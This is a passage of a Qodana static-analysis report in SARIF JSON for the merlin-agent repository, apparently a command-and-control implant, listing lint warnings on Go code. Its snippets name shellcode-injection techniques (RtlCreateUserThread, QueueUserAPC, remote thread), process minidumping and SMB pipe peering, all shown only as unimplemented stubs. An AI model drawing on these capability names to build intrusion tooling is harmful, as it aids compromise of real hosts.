{ "id": "Proofreading", "index": 52, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false } ] }, "invocations": [ { "startTimeUtc": "2023-12-26T19:18:57.07910665Z", "exitCode": 0, "toolExecutionNotifications": [ { "message": { "text": "Reporting from [] 'sanity' inspections was suspended due to high problems count." }, "level": "error", "timeUtc": "2023-12-26T19:19:49.800302211Z", "properties": { "qodanaKind": "sanityFailure" } } ], "executionSuccessful": true } ], "language": "en-US", "versionControlProvenance": [ { "repositoryUri": "https://github.com/Ne0nd0g/merlin-agent", "revisionId": "24e41131cf54002c9ca79c2295e783168d1aa6d9", "branch": "dev", "properties": { "repoUrl": "https://github.com/Ne0nd0g/merlin-agent", "lastAuthorName": "Russel Van Tuyl", "vcsType": "Git", "lastAuthorEmail": "russel.vantuyl@gmail.com" } } ], "results": [ { "ruleId": "GoSwitchMissingCasesForIotaConsts", "kind": "fail", "level": "warning", "message": { "text": "Missing 'case' statements for 'iota' consts in 'switch'", "markdown": "Missing 'case' statements for 'iota' consts in 'switch'" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "authenticators/opaque/opaque.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 65, "startColumn": 4, "charOffset": 2059, "charLength": 6, "snippet": { "text": "switch" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 63, "startColumn": 1, "charOffset": 1998, "charLength": 193, "snippet": { "text": "\tif in.Type == messages.OPAQUE {\n\t\tif in.Payload != nil {\n\t\t\tswitch in.Payload.(opaque.Opaque).Type {\n\t\t\tcase opaque.ReRegister:\n\t\t\t\tcli.Message(cli.NOTE, \"Received OPAQUE re-register request\")" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "e0ef1999f8a6c866da44355dc0587471af3633c3bd3844073e816953deb5f535" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoSwitchMissingCasesForIotaConsts", "kind": "fail", "level": "warning", "message": { "text": "Missing 'case' statements for 'iota' consts in 'switch'", "markdown": "Missing 'case' statements for 'iota' consts in 'switch'" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "authenticators/opaque/opaque.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 115, "startColumn": 2, "charOffset": 3898, "charLength": 6, "snippet": { "text": "switch" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 113, "startColumn": 1, "charOffset": 3851, "charLength": 173, "snippet": { "text": "\topaqueMessage := in.Payload.(opaque.Opaque)\n\n\tswitch opaqueMessage.Type {\n\tcase opaque.RegInit:\n\t\t// Server returned a RegInit message, start OPAQUE registration completion" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "eda916e873e5fec35e9eff01e3977f62a22c6b42bdf4eaba06a9576332d44a46" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedExportedFunction", "kind": "fail", "level": "warning", "message": { "text": "Unused function 'GetUser'", "markdown": "Unused function `GetUser`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "os/os.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 63, "startColumn": 6, "charOffset": 1607, "charLength": 7, "snippet": { "text": "GetUser" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 61, "startColumn": 1, "charOffset": 1406, "charLength": 291, "snippet": { "text": "// GetUser enumerates the username and their primary group for the account running the agent process\n// It is OK if this function returns empty strings because we want the agent to run regardless\nfunc GetUser() (username, group string, err error) {\n\tvar u *user.User\n\tu, err = user.Current()" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "9905ae86f61168f88a0c644df0ca0f644fec54c84863570d3a666d9ac5497cd5" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/hex/hex.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 59, "startColumn": 35, "charOffset": 1681, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 57, "startColumn": 1, "charOffset": 1576, "charLength": 220, "snippet": { "text": "\n// Deconstruct takes in bytes and hex decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tretData := make([]byte, hex.DecodedLen(len(data)))\n\t_, err := hex.Decode(retData, data)" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "0b0fcc63c69210d42be3ac5fbf370415ea4b3ba136e8d4cffc27139c07b9864b" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'Config'", "markdown": "Unused parameter `Config`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "clients/smb/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 74, "startColumn": 10, "charOffset": 3803, "charLength": 6, "snippet": { "text": "Config" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 72, "startColumn": 1, "charOffset": 3706, "charLength": 243, "snippet": { "text": "\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(Config) (*Client, error) {\n\treturn nil, fmt.Errorf(\"clients/smb.New(): this function is not supported by the %s operating system\", runtime.GOOS)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "24e6adde2e557b432bd72456f7ea9118a1bc5792896319781a303ec25af7b3c5" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'shellcode []byte'", "markdown": "Unused parameter `shellcode []byte`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 59, "startColumn": 29, "charOffset": 1795, "charLength": 16, "snippet": { "text": "shellcode []byte" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 57, "startColumn": 1, "charOffset": 1678, "charLength": 243, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "2a53d84de378680934b0385888a4849140fe8d7a56c171c0fc5315ba9511abb6" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'pipe string'", "markdown": "Unused parameter `pipe string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 43, "startColumn": 16, "charOffset": 1330, "charLength": 11, "snippet": { "text": "pipe string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 41, "startColumn": 1, "charOffset": 1227, "charLength": 245, "snippet": { "text": "\n// ListenSMB binds to the provided named pipe and listens for incoming SMB connections\nfunc ListenSMB(pipe string) error {\n\treturn fmt.Errorf(\"commands/smb.ListenSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "364de25845ff528309a7ba08971e798188a784bbd06bb5c4b6b4b4e40788b72d" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'uint32'", "markdown": "Unused parameter `uint32`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 73, "startColumn": 43, "charOffset": 2584, "charLength": 6, "snippet": { "text": "uint32" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 71, "startColumn": 1, "charOffset": 2453, "charLength": 235, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "43c5008d858aae704c53f6c904799cfe7e80b3af0a1d3288efcddbe6689c10cb" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'string'", "markdown": "Unused parameter `string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 80, "startColumn": 52, "charOffset": 2991, "charLength": 6, "snippet": { "text": "string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 78, "startColumn": 1, "charOffset": 2851, "charLength": 307, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "73f786ef936f16463c04877ba54bd3872fee1946814086f5d0482b41bf2ec145" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'string'", "markdown": "Unused parameter `string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 80, "startColumn": 44, "charOffset": 2983, "charLength": 6, "snippet": { "text": "string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 78, "startColumn": 1, "charOffset": 2851, "charLength": 307, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "8605ce8f6ff593f2571ac2d6e7bf7becfd87228ff20d0de8973bfbae9fb52c0e" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/base64/base64.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 44, "startColumn": 37, "charOffset": 1178, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 42, "startColumn": 1, "charOffset": 1056, "charLength": 196, "snippet": { "text": "\n// Construct takes in data, Base64 encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) (retData []byte, err error) {\n\tswitch c.concrete {\n\tcase BYTE:" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "88f41349ceebd835dad62372eb4f3b1d3bc26fb4ed4c31d3dc4460498453e31c" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "clients/smb/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 108, "startColumn": 27, "charOffset": 5761, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 106, "startColumn": 1, "charOffset": 5658, "charLength": 253, "snippet": { "text": "\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/smb.Set(): the smb client is not supported for the %s operating system\", runtime.GOOS)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "8ebf5f0094973239c93d88bc3561dfe604cf823931d5dbdbe5295fc914f38c88" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'host'", "markdown": "Unused parameter `host`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 37, "startColumn": 17, "charOffset": 1041, "charLength": 4, "snippet": { "text": "host" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 35, "startColumn": 1, "charOffset": 929, "charLength": 295, "snippet": { "text": "\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n\treturn" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "972af06ca5ea2c19c9e18a7c397b1c8df9ed3db4e3a773c69c3a2ea3f9cf5c49" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'pid uint32'", "markdown": "Unused parameter `pid uint32`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 66, "startColumn": 60, "charOffset": 2212, "charLength": 10, "snippet": { "text": "pid uint32" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 64, "startColumn": 1, "charOffset": 2064, "charLength": 256, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a08b10306c6e0b8b1902ff1786a2fb61d5df688bf51552671960cbbad25f0fba" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'jobs.Command'", "markdown": "Unused parameter `jobs.Command`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/memory.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 31, "startColumn": 13, "charOffset": 911, "charLength": 12, "snippet": { "text": "jobs.Command" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 29, "startColumn": 1, "charOffset": 814, "charLength": 231, "snippet": { "text": "\n// Memory is a handler for working with virtual memory on the host operating system\nfunc Memory(jobs.Command) (results jobs.Results) {\n\tresults.Stderr = \"the Memory module is not supported by the agent's operating system!\"\n\treturn" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a23f3547249cfef618b532df72ccea5c58e9eabfc93ba640e19ac40a374fc0c6" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/gob/gob.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 50, "startColumn": 37, "charOffset": 1255, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 48, "startColumn": 1, "charOffset": 1136, "charLength": 173, "snippet": { "text": "\n// Construct takes in data, Gob encodes it, and returns the encoded data as bytes\nfunc (c *Coder) Construct(data any, key []byte) ([]byte, error) {\n\treturn c.Encode(data)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a44c5d167ecfddeeca673bc10b41c74aaee80b5819f934804ca510d6d5bf198d" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'pid uint32'", "markdown": "Unused parameter `pid uint32`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 59, "startColumn": 47, "charOffset": 1813, "charLength": 10, "snippet": { "text": "pid uint32" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 57, "startColumn": 1, "charOffset": 1678, "charLength": 243, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRemote(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a7eea47fd87535ad727c3bb95c084f9517cb623e18286866de944272b691ed4e" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'string'", "markdown": "Unused parameter `string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 87, "startColumn": 15, "charOffset": 3352, "charLength": 6, "snippet": { "text": "string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 85, "startColumn": 1, "charOffset": 3249, "charLength": 264, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a92ee06425d70b4046458370c9907464a6e75cde4963178ad3bdcffc0f8534b6" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/gob/gob.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 55, "startColumn": 35, "charOffset": 1415, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 53, "startColumn": 1, "charOffset": 1310, "charLength": 156, "snippet": { "text": "\n// Deconstruct takes in bytes and Gob decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\treturn c.Decode(data)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "a95122b87c5d4cf75e364dfdbf7601f9bce87b12b1a05c86e35755fe17baf943" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'string'", "markdown": "Unused parameter `string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 80, "startColumn": 60, "charOffset": 2999, "charLength": 6, "snippet": { "text": "string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 78, "startColumn": 1, "charOffset": 2851, "charLength": 307, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) {\n\treturn stdout, stderr, fmt.Errorf(\"CreateProcess modules in not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "c3f631bc54d68b590b659d2e8343fab365223a597b31ef64d5d221f0fbb617c3" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'shellcode []byte'", "markdown": "Unused parameter `shellcode []byte`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 52, "startColumn": 27, "charOffset": 1477, "charLength": 16, "snippet": { "text": "shellcode []byte" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 50, "startColumn": 1, "charOffset": 1362, "charLength": 229, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeSelf(shellcode []byte) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "c78e043f04e49e6b5ee181a3f9bee62ac1504d1edc1e6e179391774beefd6608" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'string'", "markdown": "Unused parameter `string`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 87, "startColumn": 23, "charOffset": 3360, "charLength": 6, "snippet": { "text": "string" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 85, "startColumn": 1, "charOffset": 3249, "charLength": 264, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc miniDump(string, string, uint32) (map[string]interface{}, error) {\n\tvar mini map[string]interface{}\n\treturn mini, errors.New(\"minidump doesn't work on non-windows hosts\")" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "d57f3ff03aecf0576defa855190d29cae60b5ca6fb702dd43e68f43ff0bbfbf2" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'pipe'", "markdown": "Unused parameter `pipe`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 37, "startColumn": 23, "charOffset": 1047, "charLength": 4, "snippet": { "text": "pipe" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 35, "startColumn": 1, "charOffset": 929, "charLength": 295, "snippet": { "text": "\n// ConnectSMB establishes an SMB connection over a named pipe to a smb-bind peer-to-peer Agent\nfunc ConnectSMB(host, pipe string) (results jobs.Results) {\n\tresults.Stderr = fmt.Sprintf(\"commands/smb.ConnectSMB(): this function is not supported by the %s operating system\", runtime.GOOS)\n\treturn" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "d66165e69e533c5ad886c8b677dec2f3a1e000decdfba64b3b334f3dbaf9ce49" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'key'", "markdown": "Unused parameter `key`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "transformers/encoders/base64/base64.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 56, "startColumn": 35, "charOffset": 1585, "charLength": 3, "snippet": { "text": "key" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 54, "startColumn": 1, "charOffset": 1477, "charLength": 167, "snippet": { "text": "\n// Deconstruct takes in bytes and Base64 decodes it to its original type\nfunc (c *Coder) Deconstruct(data, key []byte) (any, error) {\n\tswitch c.concrete {\n\tcase BYTE:" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "db2375de30cc91d97a462a1da83b18023a2f3e51c106c7464cca846a4bae8994" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'shellcode []byte'", "markdown": "Unused parameter `shellcode []byte`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 66, "startColumn": 42, "charOffset": 2194, "charLength": 16, "snippet": { "text": "shellcode []byte" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 64, "startColumn": 1, "charOffset": 2064, "charLength": 256, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "e2f73b0d2c3386443bf3cbff19c7e6b556c0d2b59cf49dca9a4d721713510b2d" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter 'value'", "markdown": "Unused parameter `value`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "clients/smb/smb.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 108, "startColumn": 39, "charOffset": 5773, "charLength": 5, "snippet": { "text": "value" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 106, "startColumn": 1, "charOffset": 5658, "charLength": 253, "snippet": { "text": "\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/smb.Set(): the smb client is not supported for the %s operating system\", runtime.GOOS)\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "eed4eea5cdc530ae4b0d6bb94a8966e292eb56eae28aa86596552d5fa542bff3" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": "High", "tags": [ "go" ] } }, { "ruleId": "GoUnusedParameter", "kind": "fail", "level": "warning", "message": { "text": "Unused parameter '[]byte'", "markdown": "Unused parameter `[]byte`" }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "commands/exec.go", "uriBaseId": "SRCROOT" }, "region": { "startLine": 73, "startColumn": 35, "charOffset": 2576, "charLength": 6, "snippet": { "text": "[]byte" }, "sourceLanguage": "go" }, "contextRegion": { "startLine": 71, "startColumn": 1, "charOffset": 2453, "charLength": 235, "snippet": { "text": "//\n//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used\nfunc ExecuteShellcodeQueueUserAPC([]byte, uint32) error {\n\treturn errors.New(\"shellcode execution is not implemented for this operating system\")\n}" }, "sourceLanguage": "go" } }, "logicalLocations": [ { "fullyQualifiedName": "merlin-agent", "kind": "module" } ] } ], "partialFingerprints": { "equalIndicator/v1": "f4967547452eb8b3e78977dfd9d1df4d69d824c911820e2cd331300f3b503d0f" }, "properties": { "ideaSeverity": "WARNING", "qodanaSeverity": 